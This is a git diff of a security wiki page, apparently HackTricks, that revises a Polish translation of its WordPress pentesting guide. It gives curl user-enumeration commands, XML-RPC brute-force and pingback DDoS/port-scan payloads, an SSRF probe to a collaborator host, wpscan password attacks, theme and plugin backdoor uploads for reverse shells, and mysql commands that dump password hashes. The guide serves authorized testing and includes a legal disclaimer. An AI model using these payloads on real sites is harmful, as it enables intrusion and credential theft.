mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['', 'src/network-services-pentesting/pentesting-web/wordpres
This commit is contained in:
parent
021c835e16
commit
287660150c
@ -4,49 +4,49 @@
|
||||
|
||||
## Podstawowe informacje
|
||||
|
||||
- **Uploaded** pliki trafiają do: `http://10.10.10.10/wp-content/uploads/2018/08/a.txt`
|
||||
- **Themes files can be found in /wp-content/themes/,** więc jeśli zmienisz jakiś plik php motywu, aby uzyskać RCE, prawdopodobnie będziesz używać tej ścieżki. Na przykład: Using **theme twentytwelve** you can **access** the **404.php** file in: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
|
||||
- **Przesłane** pliki trafiają do: `http://10.10.10.10/wp-content/uploads/2018/08/a.txt`
|
||||
- **Pliki motywów znajdują się w /wp-content/themes/,** więc jeśli zmienisz jakiś php motywu, aby uzyskać RCE, prawdopodobnie użyjesz tej ścieżki. Na przykład: Używając **theme twentytwelve** możesz **dostępować** do pliku **404.php** w: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
|
||||
|
||||
- **Another useful url could be:** [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
|
||||
- **Inny przydatny adres może być:** [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
|
||||
|
||||
- W pliku **wp-config.php** możesz znaleźć hasło root do bazy danych.
|
||||
- W **wp-config.php** możesz znaleźć hasło root do bazy danych.
|
||||
- Domyślne ścieżki logowania do sprawdzenia: _**/wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/**_
|
||||
|
||||
### **Główne pliki WordPress**
|
||||
### **Main WordPress Files**
|
||||
|
||||
- `index.php`
|
||||
- `license.txt` zawiera przydatne informacje, takie jak zainstalowana wersja WordPress.
|
||||
- `wp-activate.php` jest używany w procesie aktywacji przez e-mail podczas zakładania nowej strony WordPress.
|
||||
- `wp-activate.php` jest używany podczas procesu aktywacji przez email przy zakładaniu nowej strony WordPress.
|
||||
- Foldery logowania (mogą być przemianowane, aby je ukryć):
|
||||
- `/wp-admin/login.php`
|
||||
- `/wp-admin/wp-login.php`
|
||||
- `/login.php`
|
||||
- `/wp-login.php`
|
||||
- `xmlrpc.php` to plik reprezentujący funkcję WordPress, która umożliwia przesyłanie danych z HTTP jako mechanizmem transportu i XML jako mechanizmem kodowania. Tego typu komunikacja została zastąpiona przez WordPress [REST API](https://developer.wordpress.org/rest-api/reference).
|
||||
- Folder `wp-content` jest głównym katalogiem, w którym przechowywane są wtyczki i motywy.
|
||||
- `wp-content/uploads/` jest katalogiem, w którym przechowywane są wszystkie pliki przesłane na platformę.
|
||||
- `wp-includes/` to katalog, w którym przechowywane są pliki rdzenia, takie jak certyfikaty, czcionki, pliki JavaScript i widżety.
|
||||
- `wp-sitemap.xml` W wersjach WordPress 5.5 i wyższych, WordPress generuje plik sitemap XML ze wszystkimi publicznymi wpisami oraz publicznie zapytalnymi typami wpisów i taksonomiami.
|
||||
- `xmlrpc.php` to plik będący funkcją WordPress, która umożliwia przesyłanie danych z HTTP jako mechanizmem transportu i XML jako mechanizmem kodowania. Ten typ komunikacji został zastąpiony przez WordPress [REST API](https://developer.wordpress.org/rest-api/reference).
|
||||
- Folder `wp-content` jest głównym katalogiem, w którym przechowywane są pluginy i motywy.
|
||||
- `wp-content/uploads/` to katalog, w którym przechowywane są wszystkie pliki przesłane na platformę.
|
||||
- `wp-includes/` to katalog, w którym przechowywane są pliki core, takie jak certyfikaty, czcionki, pliki JavaScript i widgety.
|
||||
- `wp-sitemap.xml` W wersjach Wordpress 5.5 i nowszych, Wordpress generuje plik sitemap XML ze wszystkimi publicznymi wpisami oraz publicznie zapytalnymi typami wpisów i taksonomiami.
|
||||
|
||||
**Post exploitation**
|
||||
|
||||
- Plik `wp-config.php` zawiera informacje wymagane przez WordPress do połączenia z bazą danych, takie jak nazwa bazy danych, host bazy danych, nazwa użytkownika i hasło, klucze uwierzytelniania i salty oraz prefiks tabel bazy danych. Ten plik konfiguracyjny może być również użyty do włączenia trybu DEBUG, co może być pomocne przy rozwiązywaniu problemów.
|
||||
- Plik `wp-config.php` zawiera informacje wymagane przez WordPress do połączenia z bazą danych, takie jak nazwa bazy danych, host bazy danych, nazwa użytkownika i hasło, klucze uwierzytelniania i salts oraz prefiks tabel bazy danych. Ten plik konfiguracyjny może być również użyty do aktywacji trybu DEBUG, co może być przydatne w rozwiązywaniu problemów.
|
||||
|
||||
### Uprawnienia użytkowników
|
||||
|
||||
- **Administrator**
|
||||
- **Editor**: Publikuje i zarządza własnymi i cudzymi wpisami
|
||||
- **Author**: Publikuje i zarządza wyłącznie własnymi wpisami
|
||||
- **Editor**: Publikuje i zarządza swoimi oraz cudzymi wpisami
|
||||
- **Author**: Publikuje i zarządza własnymi wpisami
|
||||
- **Contributor**: Pisze i zarządza swoimi wpisami, ale nie może ich publikować
|
||||
- **Subscriber**: Przegląda wpisy i edytuje swój profil
|
||||
|
||||
## **Passive Enumeration**
|
||||
|
||||
### **Get WordPress version**
|
||||
### **Sprawdź wersję WordPress**
|
||||
|
||||
Sprawdź, czy możesz znaleźć pliki `/license.txt` lub `/readme.html`
|
||||
|
||||
W **kodzie źródłowym** strony (przykład z [https://wordpress.org/support/article/pages/](https://wordpress.org/support/article/pages/)):
|
||||
Wewnątrz **kod źródłowy** strony (przykład z [https://wordpress.org/support/article/pages/](https://wordpress.org/support/article/pages/)):
|
||||
|
||||
- grep
|
||||
```bash
|
||||
@ -56,11 +56,11 @@ curl https://victim.com/ | grep 'content="WordPress'
|
||||
|
||||
.png>)
|
||||
|
||||
- Pliki linków CSS
|
||||
- pliki linków CSS
|
||||
|
||||
.png>)
|
||||
|
||||
- Pliki JavaScript
|
||||
- pliki JavaScript
|
||||
|
||||
.png>)
|
||||
|
||||
@ -72,42 +72,42 @@ curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/supp
|
||||
```bash
|
||||
curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/themes' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
|
||||
```
|
||||
### Wydobywanie wersji — ogólnie
|
||||
### Ogólne wyodrębnianie wersji
|
||||
```bash
|
||||
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
|
||||
|
||||
```
|
||||
## Aktywna enumeracja
|
||||
|
||||
### Wtyczki i motywy
|
||||
### Plugins and Themes
|
||||
|
||||
Prawdopodobnie nie będziesz w stanie znaleźć wszystkich dostępnych wtyczek i motywów. Aby odkryć je wszystkie, będziesz musiał **aktywnie Brute Force listę wtyczek i motywów** (mamy nadzieję, że istnieją zautomatyzowane narzędzia, które zawierają te listy).
|
||||
Prawdopodobnie nie będziesz w stanie znaleźć wszystkich Plugins i Themes. Aby odkryć wszystkie, będziesz musiał(a) **aktywnie Brute Force listę Plugins i Themes** (na szczęście istnieją zautomatyzowane narzędzia, które zawierają takie listy).
|
||||
|
||||
### Użytkownicy
|
||||
|
||||
- **ID Brute:** Uzyskujesz ważnych użytkowników z serwisu WordPress poprzez Brute Forcing ID użytkowników:
|
||||
- **ID Brute:** Otrzymujesz prawidłowych użytkowników z serwisu WordPress poprzez Brute Forcing identyfikatorów użytkowników:
|
||||
```bash
|
||||
curl -s -I -X GET http://blog.example.com/?author=1
|
||||
```
|
||||
Jeśli odpowiedzi mają status **200** lub **30X**, oznacza to, że id jest **prawidłowe**. Jeśli odpowiedź ma status **400**, wtedy id jest **nieprawidłowe**.
|
||||
Jeśli odpowiedzi mają status **200** lub **30X**, oznacza to, że id jest **prawidłowe**. Jeśli odpowiedź ma status **400**, to id jest **nieprawidłowe**.
|
||||
|
||||
- **wp-json:** Możesz również spróbować uzyskać informacje o użytkownikach, wysyłając zapytanie:
|
||||
- **wp-json:** Możesz także próbować uzyskać informacje o użytkownikach, zapytując:
|
||||
```bash
|
||||
curl http://blog.example.com/wp-json/wp/v2/users
|
||||
```
|
||||
Kolejny endpoint `/wp-json/`, który może ujawnić pewne informacje o użytkownikach, to:
|
||||
Inny endpoint `/wp-json/`, który może ujawnić pewne informacje o użytkownikach, to:
|
||||
```bash
|
||||
curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
|
||||
```
|
||||
Zwróć uwagę, że ten endpoint ujawnia tylko użytkowników, którzy opublikowali post. **Dostarczone zostaną tylko informacje o użytkownikach, którzy mają włączoną tę funkcję**.
|
||||
Zwróć uwagę, że ten endpoint ujawnia tylko użytkowników, którzy opublikowali post. **Dostarczone zostaną tylko informacje o użytkownikach, którzy mają tę funkcję włączoną**.
|
||||
|
||||
Zwróć też uwagę, że **/wp-json/wp/v2/pages** może leak IP addresses.
|
||||
|
||||
- **Login username enumeration**: Podczas logowania przez **`/wp-login.php`** **komunikat** jest **inny** i wskazuje, czy **nazwa użytkownika istnieje, czy nie**.
|
||||
- **Login username enumeration**: Podczas logowania przez **`/wp-login.php`** **komunikat** jest **inny** i wskazuje, czy podany **username** istnieje, czy nie.
|
||||
|
||||
### XML-RPC
|
||||
|
||||
Jeśli `xml-rpc.php` jest aktywny, możesz przeprowadzić credentials brute-force lub użyć go do przeprowadzenia DoS attacks na inne zasoby. (Możesz zautomatyzować ten proces, na przykład używając [tego](https://github.com/relarizky/wpxploit)).
|
||||
Jeśli `xml-rpc.php` jest aktywny, możesz przeprowadzić credentials brute-force lub użyć go do uruchomienia DoS attacks na inne zasoby. (Możesz zautomatyzować ten proces[ using this](https://github.com/relarizky/wpxploit) na przykład).
|
||||
|
||||
Aby sprawdzić, czy jest aktywny, spróbuj uzyskać dostęp do _**/xmlrpc.php**_ i wyślij to żądanie:
|
||||
|
||||
@ -120,9 +120,9 @@ Aby sprawdzić, czy jest aktywny, spróbuj uzyskać dostęp do _**/xmlrpc.php**_
|
||||
```
|
||||

|
||||
|
||||
**Credentials Bruteforce**
|
||||
**Poświadczenia Bruteforce**
|
||||
|
||||
**`wp.getUserBlogs`**, **`wp.getCategories`** lub **`metaWeblog.getUsersBlogs`** to niektóre z metod, które mogą być użyte do brute-force credentials. Jeśli znajdziesz którąkolwiek z nich, możesz wysłać coś takiego:
|
||||
**`wp.getUserBlogs`**, **`wp.getCategories`** lub **`metaWeblog.getUsersBlogs`** są niektórymi z metod, które można wykorzystać do brute-force poświadczeń. Jeśli znajdziesz którąkolwiek z nich, możesz wysłać coś takiego:
|
||||
```html
|
||||
<methodCall>
|
||||
<methodName>wp.getUsersBlogs</methodName>
|
||||
@ -132,13 +132,13 @@ Aby sprawdzić, czy jest aktywny, spróbuj uzyskać dostęp do _**/xmlrpc.php**_
|
||||
</params>
|
||||
</methodCall>
|
||||
```
|
||||
Komunikat _"Incorrect username or password"_ w odpowiedzi z kodem 200 powinien pojawić się, jeśli dane uwierzytelniające są nieprawidłowe.
|
||||
Komunikat _"Incorrect username or password"_ w odpowiedzi ze statusem 200 powinien się pojawić, jeśli poświadczenia są nieprawidłowe.
|
||||
|
||||
 (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (4) (1).png>)
|
||||
|
||||
.png>)
|
||||
|
||||
Używając prawidłowych danych uwierzytelniających możesz przesłać plik. W odpowiedzi pojawi się ścieżka ([https://gist.github.com/georgestephanis/5681982](https://gist.github.com/georgestephanis/5681982))
|
||||
Używając poprawnych poświadczeń możesz przesłać plik. W odpowiedzi pojawi się ścieżka ([https://gist.github.com/georgestephanis/5681982](https://gist.github.com/georgestephanis/5681982))
|
||||
```html
|
||||
<?xml version='1.0' encoding='utf-8'?>
|
||||
<methodCall>
|
||||
@ -168,18 +168,18 @@ Używając prawidłowych danych uwierzytelniających możesz przesłać plik. W
|
||||
</params>
|
||||
</methodCall>
|
||||
```
|
||||
Jest też **szybszy sposób** na brute-force credentials używając **`system.multicall`**, ponieważ możesz spróbować kilku creds w tym samym żądaniu:
|
||||
Also there is a **faster way** to brute-force credentials using **`system.multicall`** as you can try several credentials on the same request:
|
||||
|
||||
<figure><img src="../../images/image (628).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Omijanie 2FA**
|
||||
**Bypass 2FA**
|
||||
|
||||
Ta metoda jest przeznaczona dla programów, nie dla ludzi, i jest stara, więc nie obsługuje 2FA. Jeśli masz ważne creds, ale główne wejście jest chronione przez 2FA, **możesz nadużyć xmlrpc.php, aby zalogować się tymi creds, omijając 2FA**. Zwróć uwagę, że nie będziesz w stanie wykonać wszystkich akcji dostępnych przez konsolę, ale nadal możesz uzyskać RCE, jak Ippsec wyjaśnia w [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s)
|
||||
Ta metoda jest przeznaczona dla programów, nie dla ludzi, i jest stara — w związku z tym nie obsługuje 2FA. Jeśli więc masz valid creds, ale główny dostęp jest chroniony 2FA, **możesz być w stanie wykorzystać xmlrpc.php, aby zalogować się tymi creds, omijając 2FA**. Zwróć uwagę, że nie będziesz mógł wykonać wszystkich akcji dostępnych z poziomu konsoli, ale nadal możesz dojść do RCE, jak wyjaśnia Ippsec w [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s)
|
||||
|
||||
**DDoS lub skanowanie portów**
|
||||
**DDoS or port scanning**
|
||||
|
||||
Jeśli znajdziesz metodę _**pingback.ping**_ na liście, możesz sprawić, że Wordpress wyśle dowolne żądanie do dowolnego host/port.\
|
||||
Może to posłużyć do zmuszenia **tysięcy** Wordpress **sites** do **access** jednej **location** (w ten sposób wywołując **DDoS** w tej lokalizacji), albo możesz użyć tego, aby sprawić, że **Wordpress** przeskanuje jakąś wewnętrzną **network** (możesz wskazać dowolny port).
|
||||
If you can find the method _**pingback.ping**_ inside the list you can make the Wordpress send an arbitrary request to any host/port.\
|
||||
This can be used to ask **thousands** of Wordpress **sites** to **access** one **location** (so a **DDoS** is caused in that location) or you can use it to make **Wordpress** lo **scan** some internal **network** (you can indicate any port).
|
||||
```html
|
||||
<methodCall>
|
||||
<methodName>pingback.ping</methodName>
|
||||
@ -191,9 +191,9 @@ Może to posłużyć do zmuszenia **tysięcy** Wordpress **sites** do **access**
|
||||
```
|
||||

|
||||
|
||||
Jeśli otrzymasz **faultCode** o wartości **większej** niż **0** (17), oznacza to, że port jest otwarty.
|
||||
Jeśli otrzymasz **faultCode** z wartością **większą** niż **0** (17), oznacza to, że port jest otwarty.
|
||||
|
||||
Zwróć uwagę na użycie **`system.multicall`** w poprzedniej sekcji, aby dowiedzieć się, jak nadużyć tej metody, aby spowodować DDoS.
|
||||
Zobacz użycie **`system.multicall`** w poprzedniej sekcji, aby dowiedzieć się, jak nadużyć tej metody i spowodować DDoS.
|
||||
|
||||
**DDoS**
|
||||
```html
|
||||
@ -209,15 +209,15 @@ Zwróć uwagę na użycie **`system.multicall`** w poprzedniej sekcji, aby dowie
|
||||
|
||||
### wp-cron.php DoS
|
||||
|
||||
Ten plik zwykle znajduje się w katalogu root strony Wordpress: **`/wp-cron.php`**\
|
||||
Gdy ten plik jest **wywoływany**, wykonywane jest „ciężkie” zapytanie MySQL, więc może być użyty przez **atakujących** do **wywołania** **DoS**.\
|
||||
Ponadto, domyślnie `wp-cron.php` jest wywoływany przy każdym ładowaniu strony (za każdym razem, gdy klient żąda dowolnej strony Wordpress), co przy dużym ruchu może powodować problemy (DoS).
|
||||
Ten plik zwykle znajduje się w katalogu głównym strony Wordpress: **`/wp-cron.php`**\
|
||||
Gdy ten plik zostanie **accessed**, wykonywane jest "**heavy**" zapytanie MySQL (**query**), więc może być użyty przez **attackers** do spowodowania **DoS**.\
|
||||
Domyślnie `wp-cron.php` jest wywoływany przy każdym ładowaniu strony (za każdym razem gdy klient żąda dowolnej strony Wordpress), co na serwisach o dużym ruchu może powodować problemy (DoS).
|
||||
|
||||
Zaleca się wyłączenie Wp-Cron i utworzenie prawdziwego zadania cron na hoście, które będzie wykonywać potrzebne akcje w regularnych odstępach (bez powodowania problemów).
|
||||
Zaleca się wyłączenie Wp-Cron i utworzenie prawdziwego cronjob na hoście, który będzie wykonywał potrzebne akcje w regularnych odstępach (bez powodowania problemów).
|
||||
|
||||
### /wp-json/oembed/1.0/proxy - SSRF
|
||||
|
||||
Spróbuj uzyskać dostęp do _https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_ i strona Worpress może wykonać żądanie do Ciebie.
|
||||
Spróbuj uzyskać dostęp do _https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_ a strona Worpress może wykonać żądanie do Ciebie.
|
||||
|
||||
This is the response when it doesn't work:
|
||||
|
||||
@ -230,26 +230,26 @@ This is the response when it doesn't work:
|
||||
https://github.com/t0gu/quickpress/blob/master/core/requests.go
|
||||
{{#endref}}
|
||||
|
||||
To narzędzie sprawdza, czy istnieje **methodName: pingback.ping** oraz ścieżka **/wp-json/oembed/1.0/proxy**, i jeśli tak, próbuje je exploitować.
|
||||
To narzędzie sprawdza, czy istnieje **methodName: pingback.ping** oraz ścieżka **/wp-json/oembed/1.0/proxy**, a jeśli tak, próbuje je wykorzystać.
|
||||
|
||||
## Automatic Tools
|
||||
## Automatyczne narzędzia
|
||||
```bash
|
||||
cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0"
|
||||
wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token <API_TOKEN> --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs)
|
||||
#You can try to bruteforce the admin user using wpscan with "-U admin"
|
||||
```
|
||||
## Uzyskaj dostęp przez nadpisanie jednego bitu
|
||||
## Uzyskaj dostęp przez nadpisanie bitu
|
||||
|
||||
To bardziej ciekawostka niż prawdziwy atak. W CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) można było odwrócić 1 bit w dowolnym pliku wordpress. Tak więc można było zmienić bit na pozycji `5389` w pliku `/var/www/html/wp-includes/user.php`, aby zamienić operację NOT (`!`) na NOP.
|
||||
To bardziej ciekawostka niż prawdziwy atak. W CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) można było odwrócić 1 bit w dowolnym pliku wordpress. Można było więc odwrócić pozycję `5389` w pliku `/var/www/html/wp-includes/user.php`, aby zastąpić operację NOT (`!`) instrukcją NOP.
|
||||
```php
|
||||
if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
|
||||
return new WP_Error(
|
||||
```
|
||||
## **Panel RCE**
|
||||
|
||||
**Modyfikacja pliku php z używanego motywu (wymagane dane logowania administratora)**
|
||||
**Modyfikacja pliku php z używanego motywu (potrzebne dane logowania admina)**
|
||||
|
||||
Wygląd → Edytor motywu → Szablon 404 (po prawej)
|
||||
Wygląd → Edytor motywów → Szablon 404 (po prawej)
|
||||
|
||||
Zmień zawartość na php shell:
|
||||
|
||||
@ -265,20 +265,20 @@ use exploit/unix/webapp/wp_admin_shell_upload
|
||||
```
|
||||
aby uzyskać sesję.
|
||||
|
||||
## Plugin RCE
|
||||
## RCE przez wtyczkę
|
||||
|
||||
### PHP plugin
|
||||
### Wtyczka PHP
|
||||
|
||||
Może być możliwe przesłanie plików .php jako plugin.\
|
||||
Możliwe, że da się przesłać pliki .php jako wtyczkę.
|
||||
Utwórz swój php backdoor używając na przykład:
|
||||
|
||||
.png>)
|
||||
|
||||
Następnie dodaj nowy plugin:
|
||||
Następnie dodaj nową wtyczkę:
|
||||
|
||||
.png>)
|
||||
|
||||
Prześlij plugin i naciśnij Install Now:
|
||||
Prześlij wtyczkę i naciśnij Install Now:
|
||||
|
||||
.png>)
|
||||
|
||||
@ -286,44 +286,44 @@ Kliknij na Procced:
|
||||
|
||||
.png>)
|
||||
|
||||
Prawdopodobnie nic się nie stanie, ale jeśli przejdziesz do Media, zobaczysz przesłany shell:
|
||||
Prawdopodobnie to pozornie nic nie zrobi, ale jeśli przejdziesz do Media, zobaczysz przesłany shell:
|
||||
|
||||
.png>)
|
||||
|
||||
Otwórz go i zobaczysz URL do uruchomienia reverse shell:
|
||||
Otwórz go, a zobaczysz URL do uruchomienia reverse shell:
|
||||
|
||||
.png>)
|
||||
|
||||
### Uploading and activating malicious plugin
|
||||
|
||||
Ta metoda polega na zainstalowaniu malicious plugin znanego z podatności, który może zostać wykorzystany do uzyskania web shell. Proces wykonywany jest przez WordPress dashboard w następujący sposób:
|
||||
Ta metoda polega na instalacji złośliwej wtyczki, o której wiadomo, że jest podatna i którą można wykorzystać do uzyskania web shella. Proces przeprowadza się przez dashboard WordPress w następujący sposób:
|
||||
|
||||
1. **Plugin Acquisition**: plugin jest pobierany ze źródła takiego jak Exploit DB, na przykład [**here**](https://www.exploit-db.com/exploits/36374).
|
||||
1. **Plugin Acquisition**: wtyczka jest pobierana ze źródła takiego jak Exploit DB jak [**here**](https://www.exploit-db.com/exploits/36374).
|
||||
2. **Plugin Installation**:
|
||||
- Przejdź do WordPress dashboard, następnie do `Dashboard > Plugins > Upload Plugin`.
|
||||
- Prześlij plik zip pobranego pluginu.
|
||||
3. **Plugin Activation**: Po pomyślnej instalacji plugin musi zostać aktywowany przez dashboard.
|
||||
- Przejdź do panelu WordPress, następnie do `Dashboard > Plugins > Upload Plugin`.
|
||||
- Prześlij plik zip pobranej wtyczki.
|
||||
3. **Plugin Activation**: Po pomyślnej instalacji wtyczkę należy aktywować przez dashboard.
|
||||
4. **Exploitation**:
|
||||
- Po zainstalowaniu i aktywowaniu pluginu "reflex-gallery" można go exploitować, ponieważ jest znany z podatności.
|
||||
- Framework Metasploit dostarcza exploit dla tej podatności. Ładując odpowiedni moduł i wykonując konkretne polecenia można uzyskać sesję meterpreter, co daje nieautoryzowany dostęp do strony.
|
||||
- Należy pamiętać, że jest to tylko jedna z wielu metod wykorzystania podatności w WordPress.
|
||||
- Po zainstalowaniu i aktywowaniu wtyczki "reflex-gallery" można ją wykorzystać, ponieważ jest znana z bycia podatną.
|
||||
- Metasploit framework udostępnia exploit dla tej podatności. Załadowanie odpowiedniego modułu i wykonanie specyficznych poleceń pozwala uzyskać sesję meterpreter, dając nieautoryzowany dostęp do serwisu.
|
||||
- Należy zauważyć, że to tylko jedna z wielu metod wykorzystania strony WordPress.
|
||||
|
||||
Zawartość zawiera materiały wizualne przedstawiające kroki w dashboardzie WordPress dotyczące instalacji i aktywacji pluginu. Należy jednak pamiętać, że wykorzystywanie podatności w ten sposób jest nielegalne i nieetyczne bez odpowiedniej autoryzacji. Informacje te powinny być używane odpowiedzialnie i tylko w kontekście prawnym, takim jak penetration testing z wyraźną zgodą.
|
||||
Treść zawiera materiały wizualne przedstawiające kroki w dashboard WordPress dotyczące instalacji i aktywacji wtyczki. Jednak ważne jest, aby zaznaczyć, że wykorzystywanie podatności w ten sposób jest nielegalne i nieetyczne bez odpowiedniej autoryzacji. Informacje te powinny być używane odpowiedzialnie i jedynie w kontekście prawnym, takich jak testy penetracyjne z wyraźną zgodą.
|
||||
|
||||
**For more detailed steps check:** [**https://www.hackingarticles.in/wordpress-reverse-shell/**](https://www.hackingarticles.in/wordpress-reverse-shell/)
|
||||
|
||||
## From XSS to RCE
|
||||
|
||||
- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_ is a script designed to escalate a **Cross-Site Scripting (XSS)** vulnerability to **Remote Code Execution (RCE)** or other's criticals vulnerabilities in WordPress. For more info check [**this post**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html). It provides **support for Wordpress Versions 6.X.X, 5.X.X and 4.X.X. and allows to:**
|
||||
- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_ to skrypt zaprojektowany do eskalacji podatności **Cross-Site Scripting (XSS)** do **Remote Code Execution (RCE)** lub innych krytycznych podatności w WordPress. For more info check [**this post**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html). Zapewnia **support for Wordpress Versions 6.X.X, 5.X.X and 4.X.X. and allows to:**
|
||||
- _**Privilege Escalation:**_ Tworzy użytkownika w WordPress.
|
||||
- _**(RCE) Custom Plugin (backdoor) Upload:**_ Prześlij swój custom plugin (backdoor) do WordPress.
|
||||
- _**(RCE) Built-In Plugin Edit:**_ Edytuj wbudowane pluginy w WordPress.
|
||||
- _**(RCE) Built-In Theme Edit:**_ Edytuj wbudowane motywy w WordPress.
|
||||
- _**(Custom) Custom Exploits:**_ Custom Exploits dla third-party WordPress Plugins/Themes.
|
||||
- _**(RCE) Custom Plugin (backdoor) Upload:**_ Prześlij własną wtyczkę (backdoor) do WordPress.
|
||||
- _**(RCE) Built-In Plugin Edit:**_ Edytuj wbudowaną wtyczkę w WordPress.
|
||||
- _**(RCE) Built-In Theme Edit:**_ Edytuj wbudowany motyw w WordPress.
|
||||
- _**(Custom) Custom Exploits:**_ Własne exploity dla third-party WordPress Plugins/Themes.
|
||||
|
||||
## Post Exploitation
|
||||
|
||||
Wyodrębnij nazwy użytkowników i hasła:
|
||||
Wydobądź nazwy użytkowników i hasła:
|
||||
```bash
|
||||
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;select concat_ws(':', user_login, user_pass) from wp_users;"
|
||||
```
|
||||
@ -335,13 +335,13 @@ mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE
|
||||
|
||||
### Powierzchnia ataku
|
||||
|
||||
Znajomość sposobów, w jakie wtyczka Wordpress może ujawniać funkcjonalności, jest kluczowa, aby znaleźć podatności w jej działaniu. Poniżej znajdziesz, w jaki sposób wtyczka może ujawniać funkcjonalności, oraz przykłady podatnych wtyczek w [**this blog post**](https://nowotarski.info/wordpress-nonce-authorization/).
|
||||
Zrozumienie, w jaki sposób wtyczka Wordpress może ujawniać funkcjonalność, jest kluczowe do odnalezienia podatności w jej działaniu. Możesz zobaczyć, w jaki sposób wtyczka może ujawniać funkcje w poniższych punktach oraz znaleźć kilka przykładów podatnych wtyczek w [**this blog post**](https://nowotarski.info/wordpress-nonce-authorization/).
|
||||
|
||||
- **`wp_ajax`**
|
||||
|
||||
Jednym ze sposobów, w jaki wtyczka może udostępniać funkcje użytkownikom, są obsługiwacze AJAX. Mogą one zawierać błędy w logice, autoryzacji lub uwierzytelnianiu. Co więcej, często bywa tak, że te funkcje opierają zarówno uwierzytelnianie, jak i autoryzację na istnieniu Wordpress nonce, które **każdy uwierzytelniony użytkownik instancji Wordpress może posiadać** (niezależnie od jego roli).
|
||||
Jednym ze sposobów, w jaki wtyczka może udostępniać funkcje użytkownikom, są obsługi AJAX. Mogą one zawierać błędy w logice, autoryzacji lub uwierzytelnianiu. Co więcej, dość często te funkcje opierają zarówno uwierzytelnianie, jak i autoryzację na istnieniu wordpress nonce, które **każdy użytkownik zalogowany w instancji Wordpress może posiadać** (niezależnie od roli).
|
||||
|
||||
Oto funkcje, które mogą być użyte do udostępnienia funkcji w wtyczce:
|
||||
Oto funkcje, które mogą być użyte do udostępnienia funkcji we wtyczce:
|
||||
```php
|
||||
add_action( 'wp_ajax_action_name', array(&$this, 'function_name'));
|
||||
add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name'));
|
||||
@ -349,11 +349,11 @@ add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name'));
|
||||
**Użycie `nopriv` sprawia, że endpoint jest dostępny dla wszystkich użytkowników (nawet niezalogowanych).**
|
||||
|
||||
> [!CAUTION]
|
||||
> Ponadto, jeśli funkcja sprawdza autoryzację użytkownika tylko za pomocą funkcji `wp_verify_nonce`, ta funkcja jedynie sprawdza, czy użytkownik jest zalogowany; zazwyczaj nie sprawdza roli użytkownika. W rezultacie użytkownicy o niskich uprawnieniach mogą mieć dostęp do akcji wymagających wyższych uprawnień.
|
||||
> Co więcej, jeśli funkcja jedynie sprawdza autoryzację użytkownika za pomocą funkcji `wp_verify_nonce`, ta funkcja tylko sprawdza, czy użytkownik jest zalogowany — zwykle nie weryfikuje roli użytkownika. W związku z tym użytkownicy o niskich uprawnieniach mogą mieć dostęp do operacji wymagających wyższych uprawnień.
|
||||
|
||||
- **REST API**
|
||||
|
||||
Możliwe jest też wystawienie funkcji z wordpressa poprzez zarejestrowanie REST API przy użyciu funkcji `register_rest_route`:
|
||||
Możliwe jest również udostępnienie funkcji z wordpressa przez zarejestrowanie REST API za pomocą funkcji `register_rest_route`:
|
||||
```php
|
||||
register_rest_route(
|
||||
$this->namespace, '/get/', array(
|
||||
@ -363,21 +363,21 @@ $this->namespace, '/get/', array(
|
||||
)
|
||||
);
|
||||
```
|
||||
The `permission_callback` jest funkcją wywoływaną (callbackiem), która sprawdza, czy dany użytkownik jest uprawniony do wywołania metody API.
|
||||
The `permission_callback` to callback do funkcji, która sprawdza, czy dany użytkownik jest uprawniony do wywołania metody API.
|
||||
